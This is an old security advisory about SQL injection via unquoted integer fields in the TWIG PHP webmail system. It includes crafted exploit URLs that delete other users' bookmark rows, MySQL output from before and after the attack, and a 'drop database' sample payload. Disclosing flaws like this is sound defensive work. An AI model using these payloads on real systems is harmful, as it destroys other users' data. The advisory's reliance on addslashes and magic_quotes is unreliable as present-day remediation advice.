COMMAND

    Twig

SYSTEMS AFFECTED

    Twig 2.6.2 and below (used with MySQL, others not checked)

PROBLEM

    Luki Rustianto found  following.  Unquoted  SQL query string  is a
    little mistake  that could  lead to  potential damage.   TWIG free
    PHP Webmail system is affected.  As we know, mysql accept unquoted
    query string if the field type is int, mediumint, tinyint or like.

    The query:

        DELETE FROM mytable WHERE id='1' AND owner='karet'

    have the same effect with:

        DELETE FROM mytable WHERE id=1 AND owner='karet'

    However additional caution  must be made  if variable 'id'  values
    on above example is a user suplied data thus could make that  user
    to have  control over  sql query  and made  a modified  version of
    query like:

        DELETE FROM mytable WHERE id=1 OR id=2 OR id=3 AND owner='karet'
                                      ~~~~~~~~~~~~~~~~
                                      (modified value)

    the modified query string above, ofcourse, have diferent  meanings
    value of "$id=1" is changed to "$id=1 OR id=2 OR id=3".

    Doing

        grep -r "WHERE id=" <TWIG installation dir>/lib/*

    will output LOT of  intresting informations of which  function has
    query  string  match  our  need  -  this may varies depend on TWIG
    version you have.

    Some of them:

        groups/personal.groups.inc.php3:
        $query = "UPDATE " . $dbconfig["groups_table"] . " SET groupname='" .
                 $newname . "' WHERE id=" . $groupid;
        [... lots other]

        schedule/schedule.edit.inc.php3:
        $query = "DELETE FROM " . $dbconfig["schedule_table"] . " WHERE id = " .
                 $data["id"] . " AND (" . $groupquery . ")";
        [... lots other]

    ... and other files.

    Or if you really want to clearly see and debug every query made by
    TWIG  then  with  help  of  query  system  on  TWIG it can be done
    easilly.  TWIG has a  function named 'dbQuery' that always  called
    on  every  sql  query  request   (if  used  with  mysql  it's   on
    <twig dir>/lib/db/mysql.db.inc.php3).   Add the following  code at
    the top of  Function dbQuery( $statement  ) to be  like (with TWIG
    2.6.2):

        [SNIP]
        $fp = fopen ("/tmp/twig_sql.log", "a");
        fwrite ($fp, $statement);
        fclose($fp);
        [/SNIP]

    so  every   sql  request   string  will   be  appended   to   file
    "/tmp/twig_sql.log".  >From  that  file  you  can see every action
    performed and audit it.

    We  will  try  to  delete  other  user mysql data, in this example
    'bookmarks' data.   Same action  can be  made on  other data  like
    'contact'  or  else  ...   You  must  have  existing  data  before
    change/deleted others, so add it first.

    Login as  usuall user  account ('eca'  in this  example) and go to
    'bookmarks' option and  choose 'edit'.   View the page  source and
    find  the  important  value  [cutted   to  only  view  string   we
    interested]:

        <==>
        <hr><form action=/webmail/index.php3 method=POST>
        <input type=hidden name=twig_sid value="983392539-1-eca">
        <input type=hidden name=twig_cid value="983392539-14-eca">
        <input type=hidden name=data[id] value=3>
        <input type=hidden name=ItemID value=3>
        <==>
           <select name=data[groupid]>
              <option value=0 >Unfiled</option>
        <==>
        <input type=submit name=submitbutton[delete] value="Delete">
        <==>

    The  url  could  be  different  looks  depend  on  what  type   of
    authentication  you  use.   We  used  sqltable  type,  if  you use
    cookies type then the url may *much* longer than this!

    Construct the exploit url,

        Actual url: http://192.168.0.18/webmail/index.php3?ts=983392426&twig_sid=983392414-1-eca&twig_cid=983392414-14-eca&ItemID=3
        Change it to: http://192.168.0.18/webmail/index.php3?ts=983392426&twig_sid=983392539-1-eca&twig_cid=983392539-14-eca&ItemID=2&data[groupid]=0&submitbutton[delete]=Delete&data[id]=2%20or%20id%3d2

    NOTE:
    - we change string: ItemID=3 to ItemID=2
    - we added string: "&data[groupid]=0&submitbutton[delete]=Delete&data[id]=2%20or%20id%3d2"
                                                                              ~~~~~~~~~~~~~~
                                                                              (this is it)
    Or for more damage (deleting all data):

        http://192.168.0.18/webmail/index.php3?ts=983393006&twig_sid=983393050-1-eca&twig_cid=983393050-14-eca&ItemID=2&data[id]=2%20or%20groupid%3d0&data[groupid]=0&submitbutton[delete]=Delete
                    ~~~~~~~~~~~~~~~~~~~
                    (this is it)

    so the sql query would change from:

        DELETE FROM twig_bookmarks WHERE id=3 AND groupid=0 AND username='eca'

    to:

        DELETE FROM twig_bookmarks WHERE id=2 or id=2 AND groupid=0 AND username='eca'

    or for more damage:

        DELETE FROM twig_bookmarks WHERE id=2 or groupid=0 AND groupid=0 AND username='eca'

    From mysql console before the exploit:

        mysql> select id,username,groupid,url from twig_bookmarks;
        +----+----------+---------+-------+
        | id | username | groupid | url   |
        +----+----------+---------+-------+
        |  1 | pohenk   |       0 | zzzz  |
        |  2 | pohenk   |       0 | yyyyy |
        |  3 | eca      |       0 | aaaa  |
        +----+----------+---------+-------+
        3 rows in set (0.21 sec)

    From mysql console after the exploit:

        mysql> select id,username,groupid,url from twig_bookmarks;
        +----+----------+---------+--------+
        | id | username | groupid | url    |
        +----+----------+---------+--------+
        |  1 | pohenk   |       0 | zzzz   |
        |  3 | eca      |       0 | aaaa   |
        +----+----------+---------+--------+
        2 rows in set (0.02 sec)

    as user 'eca' we could delete/update user 'pohenk' data or else.

SOLUTION

    There are two workarounds:
    1) Force number fields to be numbers via type casting.  Example:

        $query="SELECT field,otherfield from table where ID='" . ((int)$IDNumber) . "'";

    2) Always use addslashes() to any form posted variable.  Example:

        $query="SELECT field,otherfield from table where ID='" . addslashes($IDNumber) . "'";

    PHP used to  have an option  to automatically use  addslashes() on
    any  variable  passed  to  it  via  POST  or GET.  Please see your
    PHP.INI   file    and   set    the   appropriate    setting    for
    "magic_quotes_gpc".

    The only malicious character in an SQL query executed from php is
    '.  If you have for example:

        select * from kokos where user='$user'

    and

        $user=';drop database totos;'

    then the SQL query will be:

        select * from kokos where user=';drop database totos;'

    and that's ONE SQL statement.   The ; inside the quotes is  simply
    part of a STRING.  The only way to get out of a string is with a '
    and the ' gets stripped out with addslashes.

    If the  user supplied  variable isn't  treated as  a string but as
    part of the SQL statement then you have to escape ; as well.

    The problem with magic_quotes_gpc is that it is a global  variable
    in PHP.  Many  sysadmins turn it off  because they may be  using a
    program that requires them not to be escaped.

    If your service provider  allows you to have  customized .htaccess
    file(s), placing this line

        php_value magic_quotes_gpc 1

    in the file will ensure magic_quotes_gpc is turned on (or off).